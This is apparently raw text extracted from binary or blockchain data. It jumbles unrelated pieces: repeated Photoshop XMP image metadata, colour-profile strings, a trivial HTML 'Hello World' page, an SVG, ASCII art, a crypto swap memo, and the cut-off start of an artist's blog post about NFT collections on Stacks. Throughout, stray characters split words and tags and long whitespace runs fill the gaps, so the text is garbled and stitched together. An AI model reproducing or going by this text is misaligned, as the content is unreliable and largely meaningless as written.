                  <stEvt:when>2023-02-13T11:11:54+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from application/vnd.adobe.photoshop to image/png</stEvt:parameters>M
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from application/vnd.adobe.photoshop to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:aa81f33e-0d19-914c-9985-3eb3e71ae4d8</stEvt:instanceID>
                  <stEvt:when>2023-02-13T11:11:5M
4+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:6dd3b17a-0def-1e42-ae2b-3af2e16cfc76</stRef:instanceID>
            <stRef:documentID>adobe:docid:photoshop:9f9f6bf8-ab00-11ed-bc9c-fe399e645a46</stRef:documentID>
            <stRef:origM
inalDocumentID>DB49D0439357658641337A71F3BC6F0A</stRef:originalDocumentID>
         </xmpMM:DerivedFrom>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <xmp:CreateDate>2023-02-12T23:06:35+08:00</xmp:CreateDate>
         <xmp:ModifyDate>2023-02-13T11:11:54+08:00</xmp:ModifyDate>
         <xmp:MetadataDate>2023-02-13T11:11:54+08:00</xmp:MetadataDate>
         <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>
         <tiff:ImageWidth>3000</tM
         <tiff:ImageLength>3000</tiff:ImageLength>
         <tiff:BitsPerSample>
            <rdf:Seq>
               <rdf:li>8</rdf:li>
               <rdf:li>8</rdf:li>
               <rdf:li>8</rdf:li>
            </rdf:Seq>
         </tiff:BitsPerSample>
         <tiff:PhotometricInterpretation>2</tiff:PhotometricInterpretation>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:SamplesPerPixel>3</tiff:SamplesPerPixel>
         <tiff:XResolution>720000/10000</tiff:XResolution>
   <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ExifVersion>0231</exif:ExifVersion>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>1024</exif:PixelXDimension>
         <exif:PixelYDimension>1024</exif:PixelYDimension>
      </rdf:Description>

                                         M





                                                        M





                                                                       M





                                                                                      M















                              M





                                             M





                                                            M





                                                                           M





                                                                                          M










                   M





                                  M





                                                 M





                                                                M





                                                                               M





                                                                                              M










                       M





                                      M





                                                     M





                                                                    M






" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:stRef="http://ns.adoM
be.com/xap/1.0/sType/ResourceRef#"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmpMM:DocumentID>adobe:docid:photoshop:793af07e-ab4b-11ed-a616-fe33a7197b7f</xmpMM:DocumentID>
         <xmpMM:InstanceID>xmp.iid:62b04153-1de1-5f49-9b45-2abb144df37b</xmpMM:InstanceID>
     <xmpMM:OriginalDocumentID>DB49D0439357658641337A71F3BC6F0A</xmpMM:OriginalDocumentID>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:f65e8e8d-8b7e-9e4e-a57d-5f8285b8b9b1</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:03:16+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from image/jpeg to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from image/jpeg to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:liM
 rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:9c7579d8-bada-be4c-9e41-fb0d6fc17452</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:03:16+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:actionM
                  <stEvt:instanceID>xmp.iid:80602eee-3e3b-da41-9973-0fe676b25a32</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:14:29+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from image/png to application/vnd.adM
obe.photoshop</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from image/png to application/vnd.adobe.photoshop</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:e60d0d80-c111-e748-a84e-c9db7d43d079</stEvt:instanceID>
  <stEvt:when>2023-02-13T02:14:29+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:8f4be70d-28e4-8d4e-a5f9-da985e37c772</stEvt:instanceID>
                  <stEvt:when>2023-02-13T11:07:04+08:00</stEvt:when>
                  <stEvt:M
softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from application/vnd.adobe.photoshop to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameterM
s>converted from application/vnd.adobe.photoshop to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:62b04153-1de1-5f49-9b45-2abb144df37b</stEvt:instanceID>
                  <stEvt:when>2023-02-13T11:07:04+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changeM
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:8f4be70d-28e4-8d4e-a5f9-da985e37c772</stRef:instanceID>
            <stRef:documentID>adobe:docid:photoshop:9f9f6bf8-ab00-11ed-bc9c-fe399e645a46</stRef:documentID>
            <stRef:originalDocumentID>DB49D0439357658641337A71F3BC6F0A</stRef:originalDocumentID>
         </xmpMM:DerivedFrom>
         <dc:format>image/png</dc:format>
op:ColorMode>3</photoshop:ColorMode>
         <xmp:CreateDate>2023-02-12T23:06:35+08:00</xmp:CreateDate>
         <xmp:ModifyDate>2023-02-13T11:07:04+08:00</xmp:ModifyDate>
         <xmp:MetadataDate>2023-02-13T11:07:04+08:00</xmp:MetadataDate>
         <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>
         <tiff:ImageWidth>3000</tiff:ImageWidth>
         <tiff:ImageLength>3000</tiff:ImageLength>
         <tiff:BitsPerSample>
            <rdf:Seq>
               <rdf:li>8</rdf:li>
    <rdf:li>8</rdf:li>
               <rdf:li>8</rdf:li>
            </rdf:Seq>
         </tiff:BitsPerSample>
         <tiff:PhotometricInterpretation>2</tiff:PhotometricInterpretation>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:SamplesPerPixel>3</tiff:SamplesPerPixel>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ExifVersion>0231</exif:ExifVersion>
   <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>1024</exif:PixelXDimension>
         <exif:PixelYDimension>1024</exif:PixelYDimension>
      </rdf:Description>













                                 M





                                                M





                                                               M





                                                                              M





                                                                                             M










                      M





                                     M





                                                    M





                                                                   M





                                                                                  M




                                                                                                 M










                          M





                                         M





                                                        M





                                                                       M





                                                                                      M















                              MB




" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#M
      <rdf:Description rdf:about=""
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exM
         <xmpMM:DocumentID>adobe:docid:photoshop:675dde38-ab4b-11ed-a616-fe33a7197b7f</xmpMM:DocumentID>
         <xmpMM:InstanceID>xmp.iid:ee0d7c8d-f47a-344f-9582-7869a5bc6ec8</xmpMM:InstanceID>
         <xmpMM:OriginalDocumentID>DB49D0439357658641337A71F3BC6F0A</xmpMM:OriginalDocumentID>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:f65e8e8d-8b7e-9e4e-a57d-5fM
8285b8b9b1</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:03:16+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from image/jpeg to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseTypM
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from image/jpeg to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:9c7579d8-bada-be4c-9e41-fb0d6fc17452</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:03:16+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 201M
5 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:80602eee-3e3b-da41-9973-0fe676b25a32</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:14:29+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:chM
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from image/png to application/vnd.adobe.photoshop</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from image/png to application/vnd.adobe.photoshop</stEvt:parameters>
               </rdf:li>
       <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:e60d0d80-c111-e748-a84e-c9db7d43d079</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:14:29+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>savedM
                  <stEvt:instanceID>xmp.iid:7975d3f6-b89c-e249-a830-abfa6a9bed80</stEvt:instanceID>
                  <stEvt:when>2023-02-13T11:06:34+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from application/vnd.aM
dobe.photoshop to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from application/vnd.adobe.photoshop to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:ee0d7c8d-f47a-344f-9582-7869a5bc6ec8</stEvt:instanceID>
                <stEvt:when>2023-02-13T11:06:34+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:7975d3f6-b89c-e249-a830-abfa6a9bed80</stRef:instanceID>
            <stRef:documentID>adobe:docid:photoshop:9f9f6bf8-ab00-11ed-bc9c-fe399e645M
a46</stRef:documentID>
            <stRef:originalDocumentID>DB49D0439357658641337A71F3BC6F0A</stRef:originalDocumentID>
         </xmpMM:DerivedFrom>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <xmp:CreateDate>2023-02-12T23:06:35+08:00</xmp:CreateDate>
         <xmp:ModifyDate>2023-02-13T11:06:34+08:00</xmp:ModifyDate>
         <xmp:MetadataDate>2023-02-13T11:06:34+08:00</xmp:MetadataDate>
         <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:M
         <tiff:ImageWidth>3000</tiff:ImageWidth>
         <tiff:ImageLength>3000</tiff:ImageLength>
         <tiff:BitsPerSample>
            <rdf:Seq>
               <rdf:li>8</rdf:li>
               <rdf:li>8</rdf:li>
               <rdf:li>8</rdf:li>
            </rdf:Seq>
         </tiff:BitsPerSample>
         <tiff:PhotometricInterpretation>2</tiff:PhotometricInterpretation>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:SamplesPerPixel>3</tiff:SamplesPerPixel>
         <tiff:XResM
olution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ExifVersion>0231</exif:ExifVersion>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>1024</exif:PixelXDimension>
         <exif:PixelYDimension>1024</exif:PixelYDimension>
      </rdf:Description>
                                                                                                M










                         M





                                        M





                                                       M





                                                                      M





                                                                                     M




                                                                                                    M










                             M





                                            M





                                                           M





                                                                          M





                                                                                         M















                                 M





                                                M





                                                               M





                                                                              M





                                                                                             M










                      M






.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
=j;Inscriptions are a better use of block space than OP_RETURN
|http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:5A5B0127A8BE11EDB0D9DEEF696F6020" xmpMM:InstanceID="xmp.iid:5A5B0126A8BE11EDB0D9DEEF696F6020" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e0d18448-e896-5e43-a0da-1b9382b0ded8" stRef:documentID="xmp.did:e0d18448-e896-5e43-a0da-1b9382b0ded8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
text/html;charset=utf-8
	<meta charset="UTF-8">
	<title>Hello World</title>
<script type="application/javascript">
	alert('Hello World!');
IjGREFUND:56C06B24F050A565D3EE33A3D0C24ED310978724AC9758C38456A63AEBFE1F25
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0058/4096 0,2,3,0,0 ~0.8139132901560515-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#52F6A8" points="0,8 4,1 4,4 0,0 "/>
<polyline fill="#F652A0" points="8,0 7,4 7,4 8,8 "/>
<polyline fill="#F2F652" points="8,8 6,1 6,3 0,8 "/>
<polyline fill="#52F6A8" points="0,0 2,5 4,5 8,0 "/>
text/plain;charset=utf-8
.....................\\||-.\||----||\.-||\\.....................
...\...|-...||...-/..\-/.../..\||\../.../-\../-...||...-|...\...
....|.././....|....\.\-.-....|.||.|....-.-\.\....|...././..|....
.\.-\.-./..|.-./../..\.-....|.-..-.|....-.\../../.-.|../.-.\-.\.
..|\./-....|\../....|\../-...|\..\|...-/..\|..../..\|....-/.\|..
..../../..|-----/\\|\||..................||\|\\/-----|../../....
...--....|--..../....|-/...\|-....-|\.../-|..../....--|....--...
.|/../.|..|..-../.\-.|/....|..-..-..|..../|.-\./..-..|..|./../|.
.-./....\.|.-./....\.|.-./....\..\..../.-.|.\..../.-.|.\..../.-.
../...|..-|../...|..-|../\..|\.//.\|..\/..|-..|.../..|-..|.../..
.....|-|||........--|-........----........-|--........|||-|.....
...||--.....\\.......--//...\\||||\\...//--.......\\.....--||...
.|..\-..-..\...|..|/.-..\...|..||..|...\..-./|..|...\..-..-\..|.
.|.-.-.-./.\.|.|.|.-...\.\.\.\.||.\.\.\.\...-.|.|.|.\./.-.-.-.|.
..|..-../.....-\./|.....\..|..-..-..|..\.....|/.\-...../..-..|..
...//-......||\...//-......||\....\||......-//...\||......-//...
.....///.............\\/................/\\.............///.....
.-...\...|...|/..-...\...|...|-..-|...|...\...-../|...|...\...-.
././.\.\..-.|.|/.../.\.\..|.-.|..|.-.|..\.\./.../|.|.-..\.\././.
..\..|.-\.-./-./../..\..\.|\.|.//.|.\|.\..\../../.-/.-.\-.|..\..
....|\...-|....-.....\....|\...//...\|....\.....-....|-...\|....
\\\\\|||||---...\\\\\||||||----------||||||\\\\\...---|||||\\\\\
\--..|-/...-....\....|...\|-...||...-|\...|....\....-.../-|..--\
|/.-../.-../.\../.\..|.\-.\..-.||.-..\.-\.|..\./..\./..-./..-./|
|.-./...././\.\....\.|.-\.\.-./../.-.\.\-.|.\....\.\/./..../.-.|
-...-.../\...\...|...|\..-\..-|..|-..\-..\|...|...\...\/...-...-
..................|||||\\\\..........\\\\|||||..................
\/....\|.....\||...\\--....|-/..../-|....--\\...||\.....|\..../\
|..|..|..|.\|..|..-..-..-..-..-..-..-..-..-..-..|..|\.|..|..|..|
|.|.|.-..\.\.\.\.|.|.-.-.-./././/././.-.-.-.|.|.\.\.\.\..-.|.|.|
-\.-\..-\.-|..-..-|..-../|..-..//..-..|/..-..|-..-..|-.\-..\-.\-
-||....../-|||.....//-||.....//////.....||-//.....|||-/......||-
-||....../-|||.....//-||.....//////.....||-//.....|||-/......||-
-\.-\..-\.-|..-..-|..-../|..-..//..-..|/..-..|-..-..|-.\-..\-.\-
|.|.|.-..\.\.\.\.|.|.-.-.-./././/././.-.-.-.|.|.\.\.\.\..-.|.|.|
|..|..|..|.\|..|..-..-..-..-..-..-..-..-..-..-..|..|\.|..|..|..|
\/....\|.....\||...\\--....|-/..../-|....--\\...||\.....|\..../\
..................|||||\\\\..........\\\\|||||..................
-...-.../\...\...|...|\..-\..-|..|-..\-..\|...|...\...\/...-...-
|.-./...././\.\....\.|.-\.\.-./../.-.\.\-.|.\....\.\/./..../.-.|
|/.-../.-../.\../.\..|.\-.\..-.||.-..\.-\.|..\./..\./..-./..-./|
\--..|-/...-....\....|...\|-...||...-|\...|....\....-.../-|..--\
\\\\\|||||---...\\\\\||||||----------||||||\\\\\...---|||||\\\\\
....|\...-|....-.....\....|\...//...\|....\.....-....|-...\|....
..\..|.-\.-./-./../..\..\.|\.|.//.|.\|.\..\../../.-/.-.\-.|..\..
././.\.\..-.|.|/.../.\.\..|.-.|..|.-.|..\.\./.../|.|.-..\.\././.
.-...\...|...|/..-...\...|...|-..-|...|...\...-../|...|...\...-.
.....///.............\\/................/\\.............///.....
...//-......||\...//-......||\....\||......-//...\||......-//...
..|..-../.....-\./|.....\..|..-..-..|..\.....|/.\-...../..-..|..
.|.-.-.-./.\.|.|.|.-...\.\.\.\.||.\.\.\.\...-.|.|.|.\./.-.-.-.|.
.|..\-..-..\...|..|/.-..\...|..||..|...\..-./|..|...\..-..-\..|.
...||--.....\\.......--//...\\||||\\...//--.......\\.....--||...
.....|-|||........--|-........----........-|--........|||-|.....
../...|..-|../...|..-|../\..|\.//.\|..\/..|-..|.../..|-..|.../..
.-./....\.|.-./....\.|.-./....\..\..../.-.|.\..../.-.|.\..../.-.
.|/../.|..|..-../.\-.|/....|..-..-..|..../|.-\./..-..|..|./../|.
...--....|--..../....|-/...\|-....-|\.../-|..../....--|....--...
..../../..|-----/\\|\||..................||\|\\/-----|../../....
..|\./-....|\../....|\../-...|\..\|...-/..\|..../..\|....-/.\|..
.\.-\.-./..|.-./../..\.-....|.-..-.|....-.\../../.-.|../.-.\-.\.
....|.././....|....\.\-.-....|.||.|....-.-\.\....|...././..|....
...\...|-...||...-/..\-/.../..\||\../.../-\../-...||...-|...\...
.....................\\||-.\||----||\.-||\\.....................
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
LjJ=:BNB.BUSD-BD1:bnb1evgygkwvcgmv2zf2wdj0ggtxv7j3fcpwukgcu5:41912375120:te:0
text/plain;charset=utf-8
s article, A Year of NFTs on Stacks: Reflecting on My Evolution as an Artist,  on Sigle
https://app.sigle.io/stories/7kVMbGBleE-tYLMLmDJEy
Mining for City Coins
I first discovered Stacks in mid 2021 when I heard Patrick Stanley
s interview on the Pomp Podcast and looking for something to be early on with potential upside (as well as getting behind a great project called City Coins) I joined the Syvita Mining Guild (RIP), and increasing my exposure to the greater Stacks ecosystem. I was immediaM
tely pulled in and started exploring NFTs on Art On Stacks (RIP!), then Byzantion (now Tradeport), as well as stxnft (now Gamma.io). Watching the ecosystem grow was incredibly exciting and I began to entertain the idea of releasing my own NFTs. I
ve been a photographer and a musician my entire life and was ready to dip my toe into the shark infested rug laden waters. In October of 2021 I had gathered the 100 images that would comprise my collection for Venice Visuals and created a rather detailed spreadsheet withM
 various traits that I turned into a JSON file with rarity scores and traits. There are 27 different traits that include things like Skateboard, Bicycle, Electric Scooter, Surfer, Silhouette, Rolleicord 120 Film, Motion Blur, Reflection, Bird(s), Black and White, Lifeguard Tower, Harry Perry, Lens Ball, Abbot Kinney) and included it in my submission to ArtonStacks. Communications were slow and weeks often went by before hearing back from the mysterious person(s) behind ArtonStacks, but ultimately Venice Visuals wasM
 launched on January 17th 2022. It was not the first photography collection released on Stacks (it was the third), but it was and is still the largest, and represents some of my best images captured between 2017 and 2021.
Having to wait three months to release Venice Visuals was tough because the market sentiment had changed so much. Days before the mint, Alexgo.io jammed the Stacks network and brought it to a screeching halt. Macro events started to throw their weight around too and the entirM
e crypto space started getting dark. The price of $STX was falling hard too and I was releasing my beloved collection when there was blood on the streets. In the time I spent waiting for ArtonStacks to release Venice Visuals I had also prepared my first music NFT for release, this time with Byzantion thanks to the help of Plutus. Proof of Swing is a bebop (jazz) tune I wrote, based off of the
 chord progression, named after bebop saxophonist Charlie
 Parker who wrote and popularized the prM
ogression, most famously heard on, Confirmation. Rather than just release an mp3 I opted to create a music visualizer video, an element that would be used on all of my future music video NFTs. The auction went live on January 20th and abreu.btc came in with the top bid.
Minting for Venice Visuals was slow and steady and as more and more members of the community minted I continued to make new friends in the ecosystem. Alex Rudloff quickly became the biggest Venice Visuals whale and minted ten, three of which he usM
ed for his brilliant Reinvention collection, released on February 11th. It was around this time that the Airdrop Show  was just getting started and Phosphorus and Rawion were gracious enough to invite me on. (If you are in the Stacks community and haven
t listened to all of their episodes I highly recommend checking them out as most of the biggest projects and people in Stacks shared their backgrounds and brilliant insights on the show). The guys are gracious hosts and really bring out the best in all of their guM
ests. One memorable part of our discussion was about the need for virtual galleries and other ways of better-interfacing with our beloved NFT collections. You can imagine how exciting it was for me (and all of us) when the brilliant EoMGames, ciroxyz, and eliherf1 released their Parrot Gallery and later Parrot Radio, both of which are incredibly appreciated and helpful in attracting artists and collectors to Stacks.
The concept of utility is often discussed in relation to NFTs. While some beliM
eve utility is essential, others argue that the intrinsic value of the art is sufficient. As a creator, I encourage other artists not to feel pressured to give their art a specific utility, especially if it detracts from the quality of the artwork or is unrealistic to maintain. However, these discussions on utility inspired me to create Proof of Play, an NFT that serves as a certificate for a one-hour music lesson with me. The experiences have been incredibly rewarding as holders have exchanged their NFTs for musicM
 lessons for their children, performances, and Q&A sessions. One of my "students," Jamil, quickly made amazing progress as he learned fingerstyle technique on his new nylon string guitar. You
ll be seeing his name pop up a lot here, btw. I will always remember our first video conference and how gracious he was in answering my questions and how accessible and helpful he was as I continued to release my collections on stxnft.com. I am grateful to Jamil and the team at Gamma.io for enabling artists to release their M
work on Stacks and find our audience.
What happened to ArtonStacks? We may never know, but after the site stopped working and I received no response, Jamil saved the day again by bringing the remainder of the collection to live on Gamma. I continued to offer various giveaways and mint-one-get-one-free promotions and after a few months the collection officially minted out. AaronInAlaska spent hours meticulously giving his LaserMyNFT treatment onto my favorite image, All Skaters Go To Heaven, which FM
ireFlyWash picked up on secondary. FireFlyWash now holds the laser burned wood version that Aaron sent him in the mail. Hmmm
.that sounds like some sweet utility!
As I continued to learn more about the many amazing projects on Stacks I grew keen on doing more collaborations and was presented with a very synergistic opportunity to provide music for Project Indigo. Vandal and other community members created a playlist that would provide valuable inspiration for that music that would be crucial in creating a richM
 world and enchanting playing experience. The release of The Project Indigo Act 1 Music NFT was the first time I had the exciting pleasure of witnessing a project mint out in a matter of hours. The collection of 150 NFTs minted for 40 STX each and are now available on secondary on the Gamma website and thanks to the low low price of $STX (currently pumping all the way up to $0.25!), they
 Chapter 1b, released in March, would take us deep into the mysterious and spooky lab of the very sketchy Dr. EugM
ene, whose credentials are about as suspect as those of our favorite fake metacal doctor, Dr. $u$$ - more on him later. The music NFTs for Chapter 1b released in March can still be minted for 40STX each and dare I say, look and sound pretty great when enjoyed in the Parrot Radio app.
Six weeks into my NFT journey on Stacks I had yet to release any airdrops and wanting to engage more with my bns brethren I offered a free NFT to anyone with a .btc name who dropped it in the comments to this tweet. As a resultM
 Descanso Motion Blur  was airdropped to 120 people on March 2nd. Motion Blur is a technique that I
ve been fascinated with for my entire life, even when shooting on my dad
